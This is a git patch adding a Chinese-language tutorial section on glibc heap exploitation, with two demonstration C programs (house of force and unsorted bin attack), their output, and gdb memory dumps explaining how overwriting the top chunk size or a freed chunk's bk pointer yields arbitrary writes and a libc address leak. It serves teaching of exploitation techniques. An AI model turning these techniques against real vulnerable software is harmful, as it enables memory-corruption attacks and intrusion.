From af116609bc72a6f6b833757795ce403e8fba3372 Mon Sep 17 00:00:00 2001 From: firmianay Date: Mon, 15 Jan 2018 16:02:30 +0800 Subject: [PATCH] update 3.3.7 --- doc/3.3.7_heap_exploit_3.md | 187 ++++++++++++++++++ .../3.3.5_heap_exploit/house_of_force.c | 39 ++++ .../3.3.5_heap_exploit/unsorted_bin_attack.c | 20 ++ 3 files changed, 246 insertions(+) create mode 100644 src/Others/3.3.5_heap_exploit/house_of_force.c create mode 100644 src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md index bff0c54..a98c999 100644 --- a/doc/3.3.7_heap_exploit_3.md +++ b/doc/3.3.7_heap_exploit_3.md @@ -11,8 +11,195 @@ ## how2heap #### house_of_force +```c +#include +#include +#include +#include +#include +#include + +char bss_var[] = "This is a string that we want to overwrite."; + +int main() { + fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var); + + intptr_t *p1 = malloc(0x10); + int real_size = malloc_usable_size(p1); + memset(p1, 'A', real_size); + fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1); + fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size); + + intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); + fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n"); + fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + ptr_top[0] = -1; + fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + + unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; + fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); + void *new_ptr = malloc(evil_size); + int real_size_new = malloc_usable_size(new_ptr); + memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20); + fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); + + void* ctr_chunk = malloc(0x30); + fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk); + fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n"); + + fprintf(stderr, "old string: %s\n", bss_var); + strcpy(ctr_chunk, "YEAH!!!"); + fprintf(stderr, "new string: %s\n", bss_var); +} +``` +``` +$ gcc -g house_of_force.c +$ ./a.out +We will overwrite a variable at 0x601080 + +Let's allocate the first chunk of 0x10 bytes: 0x824010. +Real size of our allocated chunk is 0x18. + +Overwriting the top chunk size with a big value so the malloc will never call mmap. +Old size of top chunk: 0x20fe1 +New size of top chunk: 0xffffffffffffffff + +The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes. +As expected, the new pointer is at the same place as the old top chunk: 0x824030 +malloc(0x30) => 0x601080! + +Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value. +old string: This is a string that we want to overwrite. +new string: YEAH!!! +``` +house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。 + +首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk: +``` +gef➤ x/8gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk +0x602030: 0x0000000000000000 0x0000000000000000 +``` +chunk 1 真实可用的内存有 0x18 字节。 + +假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数: +``` +gef➤ x/8gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk +0x602030: 0x0000000000000000 0x0000000000000000 +``` +改写之后的 size==0xffffffff。 + +现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。 +``` +gef➤ x/8gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0xfffffffffffff051 +0x602030: 0x0000000000000000 0x0000000000000000 +gef➤ x/12gx 0x602010+0xfffffffffffff050 +0x601060: 0x4141414141414141 0x4141414141414141 +0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk +0x601080 : 0x2073692073696854 0x676e697274732061 <-- target +0x601090 : 0x6577207461687420 0x6f7420746e617720 +0x6010a0 : 0x6972777265766f20 0x00000000002e6574 +0x6010b0: 0x0000000000000000 0x0000000000000000 +``` + +再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存: +``` +gef➤ x/12gx 0x602010+0xfffffffffffff050 +0x601060: 0x4141414141414141 0x4141414141414141 +0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2 +0x601080 : 0x2073692073696854 0x676e697274732061 <-- target +0x601090 : 0x6577207461687420 0x6f7420746e617720 +0x6010a0 : 0x6972777265766f20 0x00000000002e6574 +0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk +``` #### unsorted_bin_attack +```c +#include +#include + +int main() { + unsigned long stack_var = 0; + fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var); + + unsigned long *p = malloc(0x80); + unsigned long *p1 = malloc(0x10); + fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p); + + free(p); + fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]); + + p[1] = (unsigned long)(&stack_var - 2); + fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]); + + malloc(0x80); + fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var); +} +``` +unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。 + +unlink 的对 unsorted bin 的操作是这样的: +```c + /* remove from unsorted list */ + unsorted_chunks (av)->bk = bck; + bck->fd = unsorted_chunks (av); +``` +其中 `bck = victim->bk`。 + +首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中: +``` +gef➤ x/26gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed] +0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x602020: 0x0000000000000000 0x0000000000000000 +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2 +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6020c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx &stack_var-2 +0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712 +0x7fffffffdc60: 0x0000000000000000 0x0000000000602010 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE) +``` + +然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc: +``` +gef➤ x/26gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3 +0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50 +0x602020: 0x0000000000000000 0x0000000000000000 +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2 +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6020c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx &stack_var-2 +0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk +0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL +``` +从而泄漏了 unsorted bin 的头部地址。 #### house_of_einherjar diff --git a/src/Others/3.3.5_heap_exploit/house_of_force.c b/src/Others/3.3.5_heap_exploit/house_of_force.c new file mode 100644 index 0000000..ab6401f --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_force.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include +#include +#include + +char bss_var[] = "This is a string that we want to overwrite."; + +int main() { + fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var); + + intptr_t *p1 = malloc(0x10); + int real_size = malloc_usable_size(p1); + memset(p1, 'A', real_size); + fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1); + fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size); + + intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); + fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n"); + fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + ptr_top[0] = -1; + fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + + unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; + fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); + void *new_ptr = malloc(evil_size); + int real_size_new = malloc_usable_size(new_ptr); + memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20); + fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); + + void* ctr_chunk = malloc(0x30); + fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk); + fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n"); + + fprintf(stderr, "old string: %s\n", bss_var); + strcpy(ctr_chunk, "YEAH!!!"); + fprintf(stderr, "new string: %s\n", bss_var); +} diff --git a/src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c b/src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c new file mode 100644 index 0000000..646ef0e --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c @@ -0,0 +1,20 @@ +#include +#include + +int main() { + unsigned long stack_var = 0; + fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var); + + unsigned long *p = malloc(0x80); + unsigned long *p1 = malloc(0x10); + fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p); + + free(p); + fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]); + + p[1] = (unsigned long)(&stack_var - 2); + fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]); + + malloc(0x80); + fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var); +}